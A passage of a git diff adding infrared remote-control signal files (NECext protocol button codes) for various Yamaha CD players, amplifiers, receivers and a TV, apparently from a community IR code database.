00 00 +command: 05 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: OUTPUT_LEVEL_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_LEVEL_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: DISC_SKIP_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP_REVERSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir new file mode 100644 index 000000000..619385ff7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: VOL_DEC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: VOL_INC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir new file mode 100644 index 000000000..5537652bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_1/2_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_1/2_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_1/2_FAST_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_1/2_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_1/2_REC/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_1/2_RECORD_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_1/2_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE/STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PHONO_PLAY/CUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_A/B/C/D/E/ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_1/DAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: TAPE_1/2_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISK_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: EQ_ON/FLAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: EQ_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 +# +name: EQ_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir new file mode 100644 index 000000000..1fd161f58 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: tapePlay +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: tapeSearchBck +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: tapeSearchFwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: tapeStop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: tapeRecPause +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: tapeRecMute +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: tapeDeckAB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: tapeDirA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: cdPlay +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: cdPauseStop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: cdSkipFwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: cdSkipBck +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: cdSearchFwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: cdSearchBck +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: phonoPlayCut +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: vcr1mon +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: tunerPresetPlus +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tunerPresetMinus +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: tunerABCDE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: vcr2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: ldtv +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: tape1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: masterUp +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: masterDn +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: tapeDirB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: cdDiskSkip +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: delayUp +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: delayDn +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: effect +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: eqOnFlat +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: presetUp +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 +# +name: presetDown +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: RLup +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5E 00 00 00 +# +name: RLdn +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: FELup +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 80 00 00 00 +# +name: FELdn +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 81 00 00 00 +# +name: CLup +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 82 00 00 00 +# +name: CLdn +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 83 00 00 00 +# +name: centerMode +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: prologic +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: enhanced +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: cnctVideo +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: monoMovie +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: rock +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: hall +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir new file mode 100644 index 000000000..33605c2bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: DIR_A____\*\*_TAPE_\*\* +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: STOP/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: SKIP_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: PRESET_-__\*_TUNER_\* +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: DISC_SKIP__\*\*_CD_\*\* +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: PRESET_SKIP_\*\*_EQ_\*\* +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir new file mode 100644 index 000000000..cdfed720c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_REV +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SCH_REV +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SCH_FWD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: S/F +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 57 00 00 00 +# +name: SYNCHRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 58 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir new file mode 100644 index 000000000..ef772aafd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 80 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 82 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 83 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 8C 00 00 00 +# +name: CD/CDG +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 8D 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 8E 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 8F 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 90 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 91 00 00 00 +# +name: B_SYMBOL +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 96 00 00 00 +# +name: SQUARE_SYMBOL +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 97 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 98 00 00 00 +# +name: BALLAD +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 99 00 00 00 +# +name: POPS +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 9A 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 9B 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 9C 00 00 00 +# +name: MPX/STEREO +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: D8 00 00 00 +# +name: VOCAL_AID +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: D9 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir new file mode 100644 index 000000000..9f7d854da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_BACKWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_BACKWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: S_F +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0F 00 00 00 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: PLUS_10 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 57 00 00 00 +# +name: SYNCHRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 58 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir new file mode 100644 index 000000000..e5c044414 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: goback +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir new file mode 100644 index 000000000..b59f890b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REW 